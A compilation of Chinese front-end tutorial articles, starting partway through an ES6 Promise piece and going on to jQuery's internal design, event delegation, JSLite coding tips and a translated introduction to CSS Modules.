    // 这里 Promise.resolve(data) 同样可以直接替换为 data
});

// 调用没变
promise.then(function(data) {
    // 处理 data
});

怎么样，差别不大吧。不知不觉就会 ES6 Promise 了！

ES6 的 Promise

上面已经把 ES6 的 Promise 带出来了，现在只需要把常用方法列出来作为参考即可

注意，小写的 promise 表示 Promise 对象




	
new Promise(executor)，产生一个新的 Promise 对象

> `executor(resolve, reject)`
> `executor`、`resolve` 和 `reject` 均为函数，在 `executor` 中，正确处理调用 `resolve()` 返回数据，异常处理直接 `throw new Error(...)` 或调 `reject()` 返回数据。




	Promise.resolve(data)，产生 Promise 对象并 resolve


	Promise.reject()，产生 Promise 对象并 reject







	promise.then(onResolve, onReject)，然后……继续处理


	promise.catch(onReject)，project.then(null, onReject) 的语法糖，和 jQuery 的 promise.fail() 差不多（但不同）。




参考


	ECMAScript 2015 Language Specification - ECMA-262 6th Edition


	Deferred - Mozilla | MDN


	Promise - Mozilla | MDN


	Deferred Object | jQuery Documentation





 jQuery 类库的总体设计

作者：DRY

来源： jQuery 类库的总体设计



                    
说明：14年研究jquery源码的总结

1.总体设计

本文对jquery1.7版本进行了阅读学习，将整个jquery源码拆分为11个模块，这些模块相互依赖，构成了一个简单、强大的js类库。jquery是一个基于DOM操作的类库，因此Sizzle选择器引擎的实现就显得尤为重要。针对Sizzle选择器引擎的实现，之前已经做过先关的分析，参见：sizzle选择器引擎介绍 。下面对其中的数据存储、事件处理、异常请求ajax、动画等进行简单的介绍。



(function(window, undefined) {
    var jQuery = function(selector, context) {
        return new jQuery.fn.init(selector, context, rootJquery);
    }
    jQuery.fn = function() {
        // 原型对象
        ...
    }
    // 工具方法
    // 异步队列
    // 队列queue
    // 浏览器测试support
    // 属性操作
    // 事件系统
    // DOM遍历与操作、样式操作
    // ajax请求
    // 动画
})(window)

2. 数据存储



在实际的项目开发中，经常需要把某些信息附加到一个DOM节点中，那么如果管理DOM节点和附加数据的关系，就显得非常重要。很明显，目前有两种思路来解决这个问题：


	1）直接附加在DOM节点上


	2）通过一个id来关联DOM节点、附加数据。这两种方法各有利弊：方法1的好处是DOM节点、附加数据在一起，便于维护；方法2的好处是可以避免相互依赖，从而避免内存泄露问题。




var arr = [];
function createNode() {
     return document.createElement('div');
}
function saveNodes() {
    for(var i=0; i<100; i++) {
        arr.push(createNode());
    }
}
// 将上述100个nodes节点渲染到页面，之后在将其从页面中剔除掉，那么因为arr引用着100个nodes节点，这些节点就无法被垃圾回收机制回收，从而引起内存泄露问题。

3. 异步Deferred

jQuery中关于异步的实现，大致上遵循Promise/A规范，为什么说是大致呢？


	then的返回：then方法并没有返回新的异步对象，这不符合Promise/A规范中的then要求。这一点在jQuery2.0以后已经被修改


	结果处理：在进行结果处理的时候，jQuery并没有进行结果的异常捕获


	参数的个数：jquery中resolve可以有多个参数，而Promise/A的resolve仅能有一个




内部实现比较曲折抽象，代码晦涩难懂，主要是通过"once"、"memory"两个参数进行控制："once"决定异步的回调函数只能被执行一次；“memory”决定函数具有记忆动能，也就是异步事件完成以后，再绑定回调函数，回调函数会立即执行。

4. 事件处理



jquery内部事件的功能很强大，除了可以处理DOM事件外，还可以自定义事件、触发事件(DOM事件、自定义事件)、定义事件的命名空间等强大功能。并且jquery内部的另外一大亮点就是通过数据存储模块(.data)，尽量降低DOM和监听事件之间的依赖，避免DOM、js对象相互依赖造成的内存泄露。在数据缓存模块的数据结构如下：

$('.a').on('click', function(） {})；
// results is as fellow:
$.cache = {
    1: {
        events: {               
            click: [                //click.delegateCount: 记录代理事件的个数，代理回调函数放在数组的前面
                {
                    data: ...,
                    guid: ...,
                    selector: ...,
                    handler: function() {}, // handler.guid = 1  用于定位和移除监听函数
                    ....
                }  
            ]
        },
        handle: function() {......}    // 主监听函数
    }
}

4.1 事件绑定

当绑定事件时，内部方法的调用链为：bind/delegate/live/one()--->.on()—>$.event.add()—>$.data()/addEventListener/attachEvent()。其实在对于一个DOM元素，所有的事件都对应一个主监听函数($._data(elem).handle),然后通过主监听函数通过事件分发函数($.event.dispatch)来触发相应类型的监听函数。

$('.a').on('click', fn1);
$('.a').on('blur', fn2);
$('.a').on('focus', fn3);
// 其实DOM元素(.a)并没有直接与fn1、fn2、fn3关联起来，而是通过dispatch进行事件分发
// 用伪代码可以表示如下：
$('.a').on('click blur focus', dispatch);
function dispatch(type) {
    var fn;
    if(type == 'click') {
        fn = fn1;  
    } else if(type= == 'blur') {
        fn = fn2;
    } else if (type == 'focus') {
        fn = fn3;
    }
    return fn;
}

4.2 事件移除

当移除事件时，内部方法的调用链为：unbind/delagate/die()--->.off()—>$.event.remove()—>$._data()/removeEventListener/detachEvent()。事件的移除，也就是从数据存储对象$.cache中移除相应的事件对象，当事件对象events为空时，则移除整个数据缓存对象。

4.3 事件手工触发

在jquery中，可以手工触发DOM事件或自定义事件。内部方法的调用链为：.trigger/triggerHandler() —> $.event.trigger() — > $.event.dispatch(主监听函数) — >事件的监听函数。

还有一个需要关注的问题就是，如何事件事件的冒泡呢？方法其实很简单，就是根据DOM的结构向上查询出元素的祖先元素，一直到window对象，这样就构成了元素的冒泡路径，然后触发这个路径上元素的相应事件。这也是jquery可以模拟focus、blur、change、submit进行事件冒泡的关键环节。

// 寻找冒泡路径
var eventPath = [];
for(;cur; cur = cur.parentNode) {
    eventPath.push([cur, type]);
}
// 执行路径上的监听函数
for() {
    cur = eventPath[i][0];
    type =  eventPath[i][4];
    hanle = $._data(cur, "events")[type];
    hanle.apply(cur);
}

5. 异步请求ajax



异步请求是jquery在总体可以分为三部分：核心实现、便捷方法、ajax全局事件。其中该模块依赖于Deferred模块提供的异步编程模块，可以方便进行回调函数的注册，例如：

$(url, options).then(successFn, failFn);

其中核心方法的实现主要包括以下骤：


	参数的设置：在jQuery所有API中，.ajax的参数种类应该是对多的，里面的参数看得人掩护缭乱。但是其中最终的有url、type、dataType、data，尤其是dataType的设置对于结果的应该很长大，所以有大量代码是对这一步的处理


	前置过滤函数处理：主要是对json、jsonp、script三种数据类型的处理，在请求发送前对其进行过滤处理


	请求发出：这里请求的发出包括两种方式，分别为依赖于XMLHttpRequest和script标签。如果浏览器允许跨域，则仅需使用XMLHttpRequest就足够了


	回调函数的执行：这里的回调函数包括很多种，请求发出前、开始接受数据、数据接受完成等等




6. 动画解析



在jQuery中，动画show、hide、fadeIn、fadeOut等均要调用Animation方法，也就是说Animation是最基本的入口函数。在上图中可以看到该入口函数包括了三个过程：参数配置、生成动画函数、动画函数执行。下面展开包括以下细节：


	参数配置：主要有三个参数，duration表示动画的执行时间；easing为动画每一帧的变化速度，目前jQuery中仅存在两种帧变化函数：线性(linear)变化、余弦变化(swing)，要用其他变化函数只能修改$.fx.easing对象；complete为动画完成之后需要执行的回调函数


	生成动画函数doAnimation：jQuery会给每一个样式生成一个$.fx对象，该对象用于实现动画效果。默认情况下，每隔13ms会执行一帧动画，然后更新页面的样式


	动画执行：如果动画不需要排队，在生成完动画函数之后，就立即执行动画函数doAnimation；反之，将doAnimation放入队列queue中进行排队。当所有动画均完成之后，就可以执行回调函数complete了。




当然，jQuery内部实现比较复杂，考虑了函数暂停、样式临时修改(修改inline元素的width/height时，会临时将其display修改为inline-block)、清空动画队列等操作。


 怎么理解js中的事件委托

作者：chic

来源： 怎么理解js中的事件委托



                    
随着DOM结构的复杂化和Ajax等动态脚本技术的运用，事件委托自然浮出了水面。jQuery为绑定和委托事件提供了.bind()、.live()和.delegate()方法。本文在讨论这几个方法内部实现的基础上，展示它们的优劣势及适用场合。


事件委托


事件委托的事例在现实当中比比皆是。比如，有三个同事预计会在周一收到快递。为签收快递，有两种办法：一是三个人在公司门口等快递；二是委托给前台MM代为签收。现实当中，我们大都采用委托的方案（公司也不会容忍那么多员工站在门口就为了等快递）。前台MM收到快递后，她会判断收件人是谁，然后按照收件人的要求签收，甚至代为付款。这种方案还有一个优势，那就是即使公司里来了新员工（不管多少），前台MM也会在收到寄给新员工的快递后核实并代为签收。

我们知道，DOM在为页面中的每个元素分派事件时，相应的元素一般都在事件冒泡阶段处理事件。在类似 body > div > a 这样的结构中，如果单击a元素，click事件会从a一直冒泡到div和body（即document对象）。因此，发生在a上面的单击事件，div和body元素同样可以处理。而利用事件传播（这里是冒泡）这个机制，就可以实现事件委托。具体来说，事件委托就是事件目标自身不处理事件，而是把处理任务委托给其父元素或者祖先元素，甚至根元素（document）。


.bind()


假设有一个多行多列的表格，我们想让用户单击每个单元格都能看到与其中内容相关的更多信息（比如，通过提示条）。为此，可以为每个单元格都绑定click事件：


$("info_table td").bind("click", function(){/*显示更多信息*/});



问题是，如果表格中要绑定单击事件的有10列500行，那么查找和遍历5000个单元格会导致脚本执行速度明显变慢，而保存5000个td元素和相应的事件处理程序也会占用大量内存（类似于让每个人亲自站在门口等快递）。

在前面这个例子的基础上，如果我们想实现一个简单的相册应用，每页只显示50张照片的缩略图（50个单元格），用户点击“第x页”（或“下一页”）链接可以通过Ajax从服务器动态加载另外50张照片。在这种情况下，似乎使用.bind()方法为50个单元格绑定事件又可以接受了。

事实却不然。使用.bind()方法只会给第一页中的50个单元格绑定单击事件，动态加载的后续页面中的单元格都不会有这个单击事件。换句话说，.bind()只能给调用它的时候已经存在的元素绑定事件，不能给未来新增的元素绑定事件（类似于新来的员工收不到快递）。

事件委托可以解决上述两个问题。具体到代码上，只要用jQuery 1.3新增的.live()方法代替.bind()方法即可：


$("#info_table td").live("click",function(){/*显示更多信息*/});



这里的.live()方法会把click事件绑定到$(document)对象（但这一点从代码中体现不出来，这也是.live()方法饱受诟病的一个重要原因，稍后再详细讨论），而且只需要给$(document)绑定一次（不是50次，更不是5000次），然后就能够处理后续动态加载的照片单元格的单击事件。在接收到任何事件时，$(document)对象都会检查事件类型和事件目标，如果是click事件且事件目标是td，那么就执行委托给它的处理程序。


.live()


到目前为止，一切似乎很完美。可惜，事实并非如此。因为.live()方法并不完美，它有如下几个主要缺点：



	$()函数会找到当前页面中的所有td元素并创建jQuery对象，但在确认事件目标时却不用这个td元素集合，而是使用选择符表达式与event.target或其祖先元素进行比较，因而生成这个jQuery对象会造成不必要的开销；

	默认把事件绑定到$(document)元素，如果DOM嵌套结构很深，事件冒泡通过大量祖先元素会导致性能损失；

	只能放在直接选择的元素后面，不能在连缀的DOM遍历方法后面使用，即$("#info_table

td").live...可以，但$("#info_table").find("td").live...不行；



收集td元素并创建jQuery对象，但实际操作的却是$(document)对象，令人费解。


解决之道


为了避免生成不必要的jQuery对象，可以使用一种叫做“早委托”的hack，即在$(document).ready()方法外部调用.live()：


(function($){
    $("#info_table td").live("click",function(){/*显示更多信息*/});
})(jQuery);



在此，(function($){...})(jQuery)是一个“立即执行的匿名函数”，构成了一个闭包，可以防止命名冲突。在匿名函数内部，$参数引用jQuery对象。这个匿名函数不会等到DOM就绪就会执行。注意，使用这个hack时，脚本必须是在页面的head元素中链接和(或)执行的。之所以选择这个时机，因为这时候刚好document元素可用，而整个DOM还远未生成；如果把脚本放在结束的body标签前面，就没有意义了，因为那时候DOM已经完全可用了。

为了避免事件冒泡造成的性能损失，jQuery从1.4开始支持在使用.live()方法时配合使用一个上下文参数：

$("td",$("#info_table")[0]).live("click",function(){/显示更多信息/});

这样，“受托方”就从默认的$(document)变成了$("#info_table")[0]，节省了冒泡的旅程。不过，与.live()共同使用的上下文参数必须是一个单独的DOM元素，所以这里指定上下文对象时使用的是$("#info_table")[0]，即使用数组的索引操作符来取得的一个DOM元素。


.delegate()


如前所述，为了突破单一.bind()方法的局限性，实现事件委托，jQuery 1.3引入了.live()方法。后来，为解决“事件传播链”过长的问题，jQuery 1.4又支持为.live()方法指定上下文对象。而为了解决无谓生成元素集合的问题，jQuery 1.4.2干脆直接引入了一个新方法.delegate()。

使用.delegate()，前面的例子可以这样写：


$("#info_table").delegate("td","click",function(){/*显示更多信息*/});



使用.delegate()有如下优点（或者说解决了.live()方法的如下问题）：



	直接将目标元素选择符（"td"）、事件（"click"）及处理程序与“受拖方”$("#info_table")绑定，不额外收集元素、事件传播路径缩短、语义明确；

	支持在连缀的DOM遍历方法后面调用，即支持$("table").find("#info").delegate...，支持精确控制；



可见，.delegate()方法是一个相对完美的解决方案。但在DOM结构简单的情况下，也可以使用.live()。


提示：使用事件委托时，如果注册到目标元素上的其他事件处理程序使用.stopPropagation()阻止了事件传播，那么事件委托就会失效。



结论


在下列情况下，应该使用.live()或.delegate()，而不能使用.bind()：

为DOM中的很多元素绑定相同事件；

为DOM中尚不存在的元素绑定事件；

PS：根据jQuery 1.7 Beta 1的发版说明，jQuery 1.7为了解决.bind()、.live()和.delegate()并存造成的不一致性问题，将会增加一对新的事件方法：.on()和.off()：

$(elems).on(events, selector, data, fn);

$(elems).off(events, selector, fn);

如果指定selector，则为事件委托；否则，就是常规绑定。新旧API对应如下：





原文地址：http://www.ituring.com.cn/article/467



 仿效jQuery如何高效的写JSLite

作者：小弟调调

来源： 仿效jQuery如何高效的写JSLite



                    
讨论jQuery和javascript性能的文章并不罕见。然而，我计划根据他人对jQuery总结的一些速度方面的技巧和一些建议，来教你提升你的JSLite和javascript代码。好的代码会带来速度的提升。快速渲染和响应意味着更好的用户体验。


首先，在脑子里牢牢记住JSLite就是javascript。这意味着我们应该采取相同的编码惯例，风格指南和最佳实践。


首先，如果你是一个javascript新手，没有用过jQuery我建议您阅读最好先阅读官方文档的语法介绍，这是一篇高质量的javascript教程，表示您已经会jQuery用过一段时间了。


当你准备使用JSLite,我强烈建议你遵循下面这些指南:


缓存变量


DOM遍历是昂贵的，所以尽量将会重用的元素缓存。


js// 糟糕
h = $('#element').height();
$('#element').css('height',h-20);



js// 建议
$element = $('#element');
h = $element.height();
$element.css('height',h-20);



避免全局变量


JSLite与javascript一样，一般来说,最好确保你的变量在函数作用域内。


js// 糟糕
$element = $('#element');
h = $element.height();
$element.css('height',h-20);



js// 建议
var $element = $('#element');
var h = $element.height();
$element.css('height',h-20);



使用匈牙利命名法


在变量前加$前缀，便于识别出JSLite对象。


js// 糟糕
var first = $('#first');
var second = $('#second');
var value = $first.val();



js// 建议 - 在JSLite对象前加$前缀
var $first = $('#first');
var $second = $('#second'),
var value = $first.val();



使用 var 链（单 var 模式）


将多条var语句合并为一条语句，我建议将未赋值的变量放到后面。


jsvar $first = $('#first'),
    $second = $('#second'),
    value = $first.val(),
    k = 3,
    cookiestring = 'SOMECOOKIESPLEASE',
    i,
    j,
    myArray = {};



请使用 on



在新版JSLite中，更短的 on("click") 用来取代类似 click() 这样的函数。在之前的版本中 on() 就是 bind() 。 on()附加事件处理程序的首选方法。然而，出于一致性考虑，你可以简单的全部使用 on() 方法。


js// 糟糕
$first.click(function(){
    $first.css('border','1px solid red');
    $first.css('color','blue');
});

$first.hover(function(){
    $first.css('border','1px solid red');
})



js// 建议
$first.on('click',function(){
    $first.css('border','1px solid red');
    $first.css('color','blue');
})

$first.on('hover',function(){
    $first.css('border','1px solid red');
})



精简javascript


一般来说,最好尽可能合并函数。


js// 糟糕
$first.click(function(){
    $first.css('border','1px solid red');
    $first.css('color','blue');
});



js// 建议
$first.on('click',function(){
    $first.css({
        'border':'1px solid red',
        'color':'blue'
    });
});



链式操作


JSLite实现方法的链式操作是非常容易的。下面利用这一点。


js// 糟糕
$second.html(value);
$second.on('click',function(){
    alert('hello everybody');
});
$second.fadeIn('slow');
$second.animate({height:'120px'},500);



js// 建议
$second.html(value);
$second.on('click',function(){
    alert('hello everybody');
}).fadeIn('slow').animate({height:'120px'},500);



维持代码的可读性


伴随着精简代码和使用链式的同时，可能带来代码的难以阅读。添加缩紧和换行能起到很好的效果。


js// 糟糕
$second.html(value);
$second.on('click',function(){
    alert('hello everybody');
}).fadeIn('slow').animate({height:'120px'},500);



js// 建议
$second.html(value);
$second
    .on('click',function(){ alert('hello everybody');})
    .fadeIn('slow')
    .animate({height:'120px'},500);



选择短路求值


短路求值是一个从左到右求值的表达式，用 &&（逻辑与）或 || （逻辑或）操作符。


js// 糟糕
function initVar($myVar) {
    if(!$myVar) {
        $myVar = $('#selector');
    }
}



js// 建议
function initVar($myVar) {
    $myVar = $myVar || $('#selector');
}



选择捷径


精简代码的其中一种方式是利用编码捷径。


js// 糟糕
if(collection.length > 0){..}



js// 建议
if(collection.length){..}



繁重的操作中分离元素


如果你打算对DOM元素做大量操作（连续设置多个属性或css样式），建议首先分离元素然后在添加。


js// 糟糕
var 
    $container = $("#container"),
    $containerLi = $("#container li"),
    $element = null;

$element = $containerLi.first(); 
//... 许多复杂的操作



js// better
var 
    $container = $("#container"),
    $containerLi = $container.find("li"),
    $element = null;

$element = $containerLi.first().detach(); 
//... 许多复杂的操作
$container.append($element);



熟记技巧


你可能对使用JSLite中的方法缺少经验,一定要查看的文档，可能会有一个更好或更快的方法来使用它。


js// 糟糕
$('#id').data(key,value);



js// 建议 (高效)
$.data('#id',key,value);



使用子查询缓存的父元素


正如前面所提到的，DOM遍历是一项昂贵的操作。典型做法是缓存父元素并在选择子元素时重用这些缓存元素。


js// 糟糕
var 
    $container = $('#container'),
    $containerLi = $('#container li'),
    $containerLiSpan = $('#container li span');



js// 建议 (高效)
var 
    $container = $('#container '),
    $containerLi = $container.find('li'),
    $containerLiSpan= $containerLi.find('span');



避免通用选择符


将通用选择符放到后代选择符中，性能非常糟糕。


js// 糟糕
$('.container > *'); 



js// 建议
$('.container').children();



避免隐式通用选择符


通用选择符有时是隐式的，不容易发现。


js// 糟糕
$('.someclass :radio'); 



js// 建议
$('.someclass input:radio');



优化选择符


例如，Id选择符应该是唯一的，所以没有必要添加额外的选择符。


js// 糟糕
$('div#myid'); 
$('div#footer a.myLink');



js// 建议
$('#myid');
$('#footer .myLink');



避免多个ID选择符


在此强调，ID 选择符应该是唯一的，不需要添加额外的选择符，更不需要多个后代ID选择符。


js// 糟糕
$('#outer #inner'); 



js// 建议
$('#inner');



坚持最新版本


新版本通常更好：更轻量级，更高效，方法更多，更全面的覆盖jQuery方法。显然，你需要考虑你要支持的代码的兼容性。例如，项目是否跑在良好的支持  HTML5/CSS3


必要时组合JSLite和javascript原生代码


如上所述，JSLite就是javascript，这意味着用JSLite能做的事情，同样可以用原生代码来做。原生代码的可读性和可维护性可能不如JSLite，而且代码更长。但也意味着更高效（通常更接近底层代码可读性越差，性能越高，例如：汇编，当然需要更强大的人才可以）。牢记没有任何框架能比原生代码更小，更轻，更高效（注：测试链接已失效，可上网搜索测试代码）。


最后忠告


最后，我记录这篇文章的目的是提高JSLite的性能和其他一些好的建议。如果你想深入的研究对这个话题你会发现很多乐趣。记住，JSLite并非不可或缺，仅是一种选择。思考为什么要使用它。DOM操作？ajax？模版？css动画？还是选择器？jQuery重度开发者？


 CSS 模块

作者：公子

来源： CSS 模块



                    
原文：http://glenmaddern.com/articles/css-modules
译者：@公子



如果你想知道 CSS 最近发展的转折点，你应该选择去观看 Christopher Chedeau 在2014年11月的 NationJS 大会上做的名称为 CSS in JS 的分享。不得不说这是一个技术分水岭的时刻，一群不同的思维在自己的方向上就像粒子进入了高能漩涡中一样飞速发展。其中，在 React 或者是 React 相关的项目中编写 CSS 样式，React Style, jxstyle 和 Radium 这三个算是最新的，最好的以及最具有可行性的方法。如果说“发明”是探索 最接近的可能 的一个实例（译者注：最接近的可能是 Steven Johnson 于 2010 年提出来的一个概念），那么 Christopher 则是让许许多多的可能变得更加接近（译者注：上面三个工具中的两个灵感都是来自他的分享）。



上图列出的这些都是在许多大型 CSS 代码库中存在的问题。Christopher 指出，只要将你的样式通过用 JS 去管理，这些问题都能很好的解决。不得不说这的确是有道理的，但是这种方法有它的复杂性并会带来其他的相关问题。其实只要看看浏览器是如何处理 :hover 伪类状态的，我们就会发现有些东西在 CSS 中其实***很早***就解决了。

CSS 模块小组 觉得我们可以更加合理的解决问题：我们可以继续保持 CSS 现在的样子，并在 styles-in-JS 社区的基础上建立更合理的改进。虽然我们已经找到了解决办法同时又捍卫了 CSS 原始的美，但我们仍然欠那些把我们推向这个结果的那些人一声感谢。谢谢你们，朋友们！

下面让我来向大家解说一下什么是 CSS 模块并且为什么它才是未来吧。



第一步：像局部一样无需考虑全局冲突

在 CSS 模块中，每一个文件被编译成独立的文件。这样我们就只需要使用通用简单的类选择器名字就好了。我们不需要担心它会污染全局的变量。下面我就我们编写一个拥有四个状态的按钮来说明这个功能。

https://jsfiddle.net/pqnot81c/embedded/result/

CSS 模块之前我们是怎么做的

我们也许会使用 Suit/BEM 命名规范去进行样式命名，这样我们的 HTML 和 CSS 代码看起来就像如下所示：

/* components/submit-button.css */
.Button { /* all styles for Normal */ }
.Button--disabled { /* overrides for Disabled */ }
.Button--error { /* overrides for Error */ }
.Button--in-progress { /* overrides for In Progress */

<button class="Button Button--in-progress">Processing...</button>

这样写看起来还挺棒的。使用 BEM 命令方式使我们有了 4 个样式变量这样我们不必使用嵌套选择器。使用Button这种首字母大写的方法可以很好的避免与之前的代码或者是其他的依赖代码进行冲突。另外我们使用了--语法这样能很清楚的显示出我们的依赖 Class。

总的来说，这样做可以让我们的代码更易于维护，但是它需要我们在命名规范的学习上付出很多努力。不过这已经是目前 CSS 能给出的最好的解决办法了。

CSS 模块出来之后我们是怎么做的

CSS 模块意味着你从此再也不必为你的名字太大众而担心，只要使用你觉得有最有意义的名字就好了：

/* components/submit-button.css */
.normal { /* all styles for Normal */ }
.disabled { /* all styles for Disabled */ }
.error { /* all styles for Error */ }
.inProgress { /* all styles for In Progress */

请注意我们这里并没有在任何地方使用 button 这个词。不过反过来想，为什么我们一定要使用它呢？这个文件已经被命名成了 submit-button.css 了呀！既然在其它的语言中你不需要为你的局部变量增加前缀，没道理 CSS 需要加上这个蹩脚的功能。

通过使用 require 或者 import 从 JS 中导入文件使得 CSS 模块被编译成为可能。

/* components/submit-button.js */
import styles from './submit-button.css';

buttonElem.outerHTML = `<button class=${styles.normal}>Submit</button>`

你不必担心大众名字会倒置命名冲突，编译后实际上类名是会自动生成并保证是唯一的。CSS 模块为你做好一切，最终编译成一个 CSS 与 JS 交互的 ICSS 后缀文件（阅读这里了解更多）。因此，你的程序最终看起来可能会是这个样子的：

<button class="components_submit_button__normal__abc5436">
  Processing...
</button>

如果你的类名变的和上面的例子差不多的话，那么恭喜你你成功了！



命名约定

现在回过头来仔细看看我们的示例代码：

/* components/submit-button.css */
.normal { /* all styles for Normal */ }
.disabled { /* all styles for Disabled */ }
.error { /* all styles for Error */ }
.inProgress { /* all styles for In Progress */

请注意所有的类都是相互独立的，这里并不存在一个“ 基类 ”然后其它的类集成并“ 覆盖 ”它的属性这种情况。在 CSS 模块中 每一个类都必须包含这个元素需要的所有样式 （稍后会有详细说明）。这使得你在 JS　中使用样式的时候有很大的不同：

/* Don't do this */
`class=${[styles.normal, styles['in-progress']].join(" ")}`

/* Using a single name makes a big difference */
`class=${styles['in-progress']}`

/* camelCase makes it even better */
`class=${styles.inProgress}`

当然，如果你的工资是按照字符串长度来计算的话，你爱怎么做就怎么做吧！

React 示例

CSS 模块并不是 React 特有的功能，但是不得不说在 React 中使用 CSS 模块会更爽。基于这个理由，我觉得我有必要展示下面这个如飘柔般丝滑的示例：

/* components/submit-button.jsx */
import { Component } from 'react';
import styles from './submit-button.css';

export default class SubmitButton extends Component {
  render() {
    let className, text = "Submit"
    if (this.props.store.submissionInProgress) {
      className = styles.inProgress
      text = "Processing..."
    } else if (this.props.store.errorOccurred) {
      className = styles.error
    } else if (!this.props.form.valid) {
      className = styles.disabled
    } else {
      className = styles.normal
    }
    return <button className={className}>{text}</button>
  }
}

你完全不需要担心你的类命名会和全局的样式表命名冲突，这样能让你的注意力更集中在**组件**上，而不是样式。我敢保证，使用过一次之后，你会再也不想回到原来的模式中去。

然而这仅仅是一切的开始。CSS 模块化是你的基本，但也是时候来思考一下如何把你的样式们都集中到一块了。

第二步：组件就是一切

上文中我提到了每一个类必须包含按钮不同状态下的**所有**的样式，与 BEM 命名方式上相比，代码上可能区别如下：

/* BEM Style */
innerHTML = `<button class="Button Button--in-progress">`

/* CSS Modules */
innerHTML = `<button class="${styles.inProgress}">`

那么问题来了，你怎么在所有的状态样式中**共享**你的样式呢？这个答案就是 CSS 模块的强力武器 - **组件**：

.common {
  /* all the common styles you want */
}
.normal {
  composes: common;
  /* anything that only applies to Normal */
}
.disabled {
  composes: common;
  /* anything that only applies to Disabled */
}
.error {
  composes: common;
  /* anything that only applies to Error */
}
.inProgress {
  composes: common;
  /* anything that only applies to In Progress */
}

composes这个关键词将会使.normal类将.common内的所有样式包含进来，这个有点像 Sass 的 @extends 语法。但是 Sass 依赖重写你的 CSS 文件达到效果，而 **CSS 模块最后会通过 JS 编译导出，不需要修改文件**（译者注：下面会有例子详细说明）。

Sass

按照 BEM 的命名规范，我用 Sass 的 @extends 写的话可能会像如下的代码：

.Button--common { /* font-sizes, padding, border-radius */ }
.Button--normal {
  @extends .Button--common;
  /* blue color, light blue background */
}
.Button--error {
  @extends .Button--common;
  /* red color, light red background */
}

编译后的 CSS 文件如下：

.Button--common, .Button--normal, .Button--error {
  /* font-sizes, padding, border-radius */
}
.Button--normal {
  /* blue color, light blue background */
}
.Button--error {
  /* red color, light red background */
}

你可以只需要**一**个类来标记你的元素<button class="Button--error">，但是你能得到包括共有的和特例的所有样式。这看起来真的非常厉害，但是你需要注意这种语法在一些特别的情况下存在问题和陷阱。Hugo Giraudel 在他的文章中做了很好的总结，感谢他！

CSS 模块

composes 语法看起来很像 @extends 但是他们的工作方式是不同的。为了演示一下，让我们来看一个例子：

.common { /* font-sizes, padding, border-radius */ }
.normal { composes: common; /* blue color, light blue background */ }
.error { composes: common; /* red color, light red background */ }

编译后的文件可能是像如下一样：

.components_submit_button__common__abc5436 { /* font-sizes, padding, border-radius */ }
.components_submit_button__normal__def6547 { /* blue color, light blue background */ }
.components_submit_button__error__1638bcd { /* red color, light red background */ }

JS 代码中通过 import styles from "./submit-button.css" 最终会返回：

styles: {
  common: "components_submit_button__common__abc5436",
  normal: "components_submit_button__common__abc5436 components_submit_button__normal__def6547",
  error: "components_submit_button__common__abc5436 components_submit_button__error__1638bcd"
}

所以我们依然可以使用 style.normal 或者 style.error 在我们的代码中，**仍旧会有多个类样式渲染在我们的 DOM 上**。

<button class="components_submit_button__common__abc5436 
               components_submit_button__normal__def6547">
  Submit
</button>

这就是 composes 语法的厉害之处，你可以在不重写你的 CSS 的情况下对你的元素混合使用不同类的样式。

第三步：文件间共享

Sass 或者 LESS 中，你可以在每个文件中使用 @import 在全局工作区间内共享样式。这样你就可以在一个文件中定义变量或者函数（mixins）并在你的其它组件文件中共享使用。这样做是有好处的，但是很快你的变量命名就会与其它的变量名称相冲突（虽然它在另外一个全部空间下），你不可避免的会重构你的 variables.scss 或者 settings.scss，最后你就会发现你已经看不懂到底哪个组件依赖哪个变量了。最后的最后你会发现你的配置文件变量名称冗余到变得非常不实用。

针对上述问题仍然是有更好的解决办法的（事实上 Ben Smithett 的文章 Sass 和 Wepack 的混合使用 给了 CSS 模块话很大的启发，我推荐大家去读一读这篇文章），但是不管怎么做你还是局限在了 Sass 的全局环境下。

CSS 模块一次只运行一个文件，这样可以避免全局上下文的污染。而且像 JS 使用 import 或者 require 来加载依赖一样，CSS 模块使用 compose 来从另一个文件中加载：

/* colors.css */
.primary {
  color: #720;
}
.secondary {
  color: #777;
}
/* other helper classes... */

/* submit-button.css */
.common { /* font-sizes, padding, border-radius */ }
.normal {
  composes: common;
  composes: primary from "../shared/colors.css";
}

使用组件，我们能够深入到每一个像colors.css一样的基础样式表中，并随意重命名它。又因为组件只是改变了最后**导出**的类名称，而不是 CSS 文件本身，composes 语句在浏览器解析之前就会被删除。

/* colors.css */
.shared_colors__primary__fca929 {
  color: #720;
}
.shared_colors__secondary__acf292 {
  color: #777;
}

/* submit-button.css */
.components_submit_button__common__abc5436 { /* font-sizes, padding, border-radius */ }
.components_submit_button__normal__def6547 {}

<button class="shared_colors__primary__fca929
               components_submit_button__common__abc5436 
               components_submit_button__normal__def6547">
  Submit
</button>

事实上，当它被浏览器解析之后，我们的局部是不存在一个"**normal**"样式的。这是一件好事！这意味着我们可以增加一个局部名字有意义的对象（可能就叫"**normal**"）而不用在 CSS 文件中新增代码。我们使用的越多，对我们的网站会造成更少的视觉误差以及在用户浏览器上更少的不一致。

题外话：空的类样式可以使用 csso 这样的工具来检查去除掉。

第四步：功能单一模块

组件是非常强大的，因为它确实的让你描述了一个元素是什么，而不是它由那些样式组成。这是一种不同的方式去描述概念示例（**元素**）到样式实体（**样式规则**）之间的映射关系。让我们看一个简单的 CSS 例子：

.some_element {
  font-size: 1.5rem;
  color: rgba(0,0,0,0);
  padding: 0.5rem;
  box-shadow: 0 0 4px -2px;
}

这些元素，样式都是特别简单的。然而也存在着问题：颜色，字体大小，盒子阴影，内边距-这里的一切都是量身定制的，这让**我们想要在其它地方复用这些样式**的时候变得有些困难。下面让我们用 Sass 重构这些这些代码：

$large-font-size: 1.5rem;
$dark-text: rgba(0,0,0,0);
$padding-normal: 0.5rem;
@mixin subtle-shadow {
  box-shadow: 0 0 4px -2px;
}

.some_element {
  @include subtle-shadow;
  font-size: $large-font-size;
  color: $dark-text;
  padding: $padding-normal;
}

这是一个进化版，但是我们仅仅只达到了**一部分**目标。事实上 $large-font-size 和 $padding-normal 只是在名字上表示了它的用途，并不能在任何地方都执行。像 box-shadow 这种定义没办法赋值给变量，我们不得不使用 mixin 或者 @extends 语法来配合。

CSS 模块

通过使用组件，我们可以使用我们可复用的部分定义我们的组件：

.element {
  composes: large from "./typography.css";
  composes: dark-text from "./colors.css";
  composes: padding-all-medium from "./layout.css";
  composes: subtle-shadow from "./effect.css";
}


